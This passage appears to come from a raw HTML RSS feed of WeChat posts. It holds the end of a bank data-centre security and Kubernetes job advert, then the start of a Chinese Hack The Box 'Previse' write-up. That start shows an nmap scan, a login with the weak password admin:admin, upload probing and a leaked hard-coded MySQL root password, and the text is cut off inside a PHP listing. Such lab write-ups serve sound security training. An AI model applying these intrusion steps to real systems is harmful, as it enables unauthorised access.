0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3.</span><span style="font-family:宋体;">了解网络安全、信息安全、等级保护、个人隐私保护相关标准和法律法规；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4.</span><span style="font-family:宋体;">具有良好的沟通交流能力和文档编写能力，细致专注，有较强的责任心和团队合作能力。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">待遇：</span><span style="font-family:Calibri;">30K-60K </span><span style="font-family:宋体;">能力强上不封顶</span></span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">工作地点</span></strong><span style="font-family: 宋体;font-size: 14px;">：顺义</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">邮箱投递：</span></strong><span style="text-decoration:underline;"><span style="font-family: 宋体;color: rgb(0, 0, 255);"><span style="font-family:Calibri;">renjunfeng@bobfintech.com.cn</span></span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">微信投递</span></strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">13241087707</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;"> </span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 24px;"><strong><span style="font-size: 24px;font-family: 宋体;"><span style="font-size: 24px;font-family: 宋体;">信息安全管理岗</span><span style="font-size: 24px;font-family: Calibri;">-</span><span style="font-size: 24px;font-family: 宋体;">安全运营方向</span><span style="font-size: 24px;font-family: Calibri;">-</span><span style="font-size: 24px;font-family: 宋体;">北银顺义数据中心</span></span></strong></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">职位描述</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">工作职责</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1</span><span style="font-family:宋体;">、负责北京银行容器云平台建设和日常运维工作；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">、负责</span><span style="font-family:Calibri;">docker</span><span style="font-family:宋体;">和</span><span style="font-family:Calibri;">K8S</span><span style="font-family:宋体;">的部署和运维；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3</span><span style="font-family:宋体;">、持续梳理并优化容器云平台的架构和稳定性；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4</span><span style="font-family:宋体;">、助力业务线落地，输出解决方案，解决实际应用中的问题；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">5</span><span style="font-family:宋体;">、优化平台资源，不断提高资源的利用率。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">任职要求</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1.</span><span style="font-family:宋体;">年龄</span><span style="font-family:Calibri;">32</span><span style="font-family:宋体;">周岁（含）以下，全日制大学本科及以上学历，计算机、通信等相关专业</span><span style="font-family:Calibri;">;</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2.</span><span style="font-family:宋体;">具有至少</span><span style="font-family:Calibri;">3</span><span style="font-family:宋体;">年以上相关领域工作经验</span><span style="font-family:Calibri;">;</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3.</span><span style="font-family:宋体;">具备良好的服务意识，善于主动思考，自我驱动力强，有良好的沟通、协调能力，富有团队精神，有一定的抗压能力；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4.</span><span style="font-family:宋体;">精通</span><span style="font-family:Calibri;">Kubernets</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">Docker</span><span style="font-family:宋体;">架构原理，配置调优与故障诊断；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">5.</span><span style="font-family:宋体;">精通</span><span style="font-family:Calibri;">Linux</span><span style="font-family:宋体;">操作系统管理、配置。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">6.</span><span style="font-family:宋体;">熟悉</span><span style="font-family:Calibri;">Linux</span><span style="font-family:宋体;">常用开源组件</span><span style="font-family:Calibri;">(Nginx</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">HAProxy</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">MySql</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">Redis</span><span style="font-family:宋体;">，</span><span style="font-family:Calibri;">ELK</span><span style="font-family:宋体;">等</span><span style="font-family:Calibri;">)</span><span style="font-family:宋体;">的安装和配置；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">7.</span><span style="font-family:宋体;">具有</span><span style="font-family:Calibri;">CKA</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">CKAD</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">CKS</span><span style="font-family:宋体;">等相关证书者优先考虑。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">待遇：</span><span style="font-family:Calibri;">30K-60K </span><span style="font-family:宋体;">能力强上不封顶</span></span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">工作地点</span></strong><span style="font-family: 宋体;font-size: 14px;">：顺义</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">邮箱投递：</span></strong><span style="text-decoration:underline;"><span style="font-family: 宋体;color: rgb(0, 0, 255);"><span style="font-family:Calibri;">renjunfeng@bobfintech.com.cn</span></span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">微信投递</span></strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">13241087707</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><br/></span></p><p style="white-space: normal;"><span data-raw-text="请" data-textnode-index-1646019737990="1305" data-index-1646019737990="21570" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">扫码进群关注最新招聘信息</span><span data-raw-text="！" data-textnode-index-1646019737990="1305" data-index-1646019737990="21576" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">！</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.2765957446808511" data-s="300,640" style="" data-type="jpeg" data-w="1128" src="https://wechat2rss.xlab.app/img-proxy/?k=5df70be4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpoDJFClvs0LZqQwQ8I83pMbQQDf5uqCXN0SBqfyFPbmOmgvax1pFWUyMWYboncrZJwjXrtKFcjwHQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><br/></span><br/></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"> </span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><span data-raw-text="喜" data-textnode-index-1646019737990="1305" data-index-1646019737990="21567" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">喜</span><span data-raw-text="欢" data-textnode-index-1646019737990="1305" data-index-1646019737990="21568" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">欢</span><span data-raw-text="就" data-textnode-index-1646019737990="1305" data-index-1646019737990="21569" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">就</span><span data-raw-text="请" data-textnode-index-1646019737990="1305" data-index-1646019737990="21570" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">请</span><span data-raw-text="关" data-textnode-index-1646019737990="1305" data-index-1646019737990="21571" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">关</span><span data-raw-text="注" data-textnode-index-1646019737990="1305" data-index-1646019737990="21572" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">注</span><span data-raw-text="我" data-textnode-index-1646019737990="1305" data-index-1646019737990="21573" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">我</span><span data-raw-text="们" data-textnode-index-1646019737990="1305" data-index-1646019737990="21574" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">们</span><span data-raw-text="吧" data-textnode-index-1646019737990="1305" data-index-1646019737990="21575" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">吧</span><span data-raw-text="！" data-textnode-index-1646019737990="1305" data-index-1646019737990="21576" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">！</span></p><p><span data-raw-text="！" data-textnode-index-1646019737990="1305" data-index-1646019737990="21576" class="character" style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2933333333333332" style="" data-type="gif" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=2e420469&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fpx3YHTjnicppibTy6Giaj7BrGISzEXBO45AibR70Fq9qiaZhJZgFWnB9uQuL3iaDqY6DHm7YogiaicSEmWCiaNfPvZzX5bg%2F640%3Fwx_fmt%3Dgif"/></p><p><br/></p>




]]></content:encoded>
      <pubDate>Mon, 28 Feb 2022 11:54:53 +0800</pubDate>
    </item>
    <item>
      <title>【HTB系列】Previse</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485022&amp;idx=1&amp;sn=98131ff077966c30532d6c3b18da476e</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>Carnival</span> <span>2022-02-16 14:12</span> <span style="display: inline-block;"></span>
</p>

<p></p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=af0f9d62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicprJicG9uW54wmiaDat9V3jPIfyiaHrx0MDibWSw1GlM6fsiaMWRpWfamrdiaKcia0sqsDqbpxL90vOvr5GHA%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<h3 cid="n2" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: center;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;white-space: normal;"><span style="font-size: 24px;color: rgb(255, 76, 0);">信息收集</span></strong></span></h3><h4 cid="n3" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span style="box-sizing: border-box;font-size: 18px;">nmap扫描端口</span></h4><pre spellcheck="false" lang="bash" cid="n4" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">└─<span style="box-sizing: border-box;color: rgb(170, 85, 0);"># nmap  --min-rate=1000 -sV -sC 10.10.11.104  </span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Starting Nmap <span style="box-sizing: border-box;color: rgb(17, 102, 68);">7</span>.91 ( https://nmap.org ) at <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2021</span><span style="box-sizing: border-box;color: rgb(0, 0, 204);">-10-15</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">02</span>:44 EDT</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Nmap scan report <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.11.104</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Host is up (0.22s latency).</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Not shown: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">998</span> closed ports</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">PORT   STATE SERVICE VERSION</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">22</span>/tcp open  <span style="box-sizing: border-box;color: rgb(51, 0, 170);">ssh</span>     OpenSSH <span style="box-sizing: border-box;color: rgb(17, 102, 68);">7</span>.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>.0)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">| ssh-hostkey: </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|   <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2048</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">53</span>:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|   <span style="box-sizing: border-box;color: rgb(17, 102, 68);">256</span> bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|_  <span style="box-sizing: border-box;color: rgb(17, 102, 68);">256</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">33</span>:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">80</span>/tcp open  http    Apache httpd <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>.4.29 ((Ubuntu))</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">| http-cookie-flags: </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|   /: </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|     PHPSESSID: </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|_      httponly flag not <span style="box-sizing: border-box;color: rgb(119, 0, 136);">set</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|_http-server-header: Apache/2.4.29 (Ubuntu)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">| http-title: Previse Login</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|_Requested resource was login.php</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Nmap <span style="box-sizing: border-box;color: rgb(119, 0, 136);">done</span>: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> IP address (1 host up) scanned <span style="box-sizing: border-box;color: rgb(119, 0, 136);">in</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">15</span>.93 seconds</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                                              </span></pre><p cid="n5" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">发现端口80:打开端口浏览器访问，发现是个php的登录界面。sql尝试不行。admin:admin弱密码登录。</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">还有其他思路在文末</strong></span></p><h3 cid="n6" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: center;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;white-space: normal;"><span style="font-size: 24px;color: rgb(255, 76, 0);">web渗透</span></strong></span></h3><p cid="n7" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">访问各个页面是个比较简单的web应用。随便点点发现两个有意思的页面，一个是个用户注册，一个是文件上传。上传试试。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-fileid="100001208" data-ratio="0.7203125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0ca9d2a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicprJicG9uW54wmiaDat9V3jPIfQNw45Jy9oWy2sqTwwmkLF1gbkm0p8ZhooguZ1K6eLL3zjatwy5sEag%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">发现有回显，文件名没变？?</span></p><p cid="n9" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">发现为下载id为33。做了映射?还是存到了数据库。还有一个zip下载看看。是源码。</span></p><p cid="n10" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">解压缩发现数据库密码是</span></p><pre spellcheck="false" lang="php" cid="n11" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;?</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">php</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">function</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">connectDB</span>(){</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$host</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;localhost&#39;</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$user</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;root&#39;</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$passwd</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;mySQL_p@ssw0rd!:)&#39;</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$db</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;previse&#39;</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$mycon</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mysqli</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$host</span>, <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$user</span>, <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$passwd</span>, <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$db</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 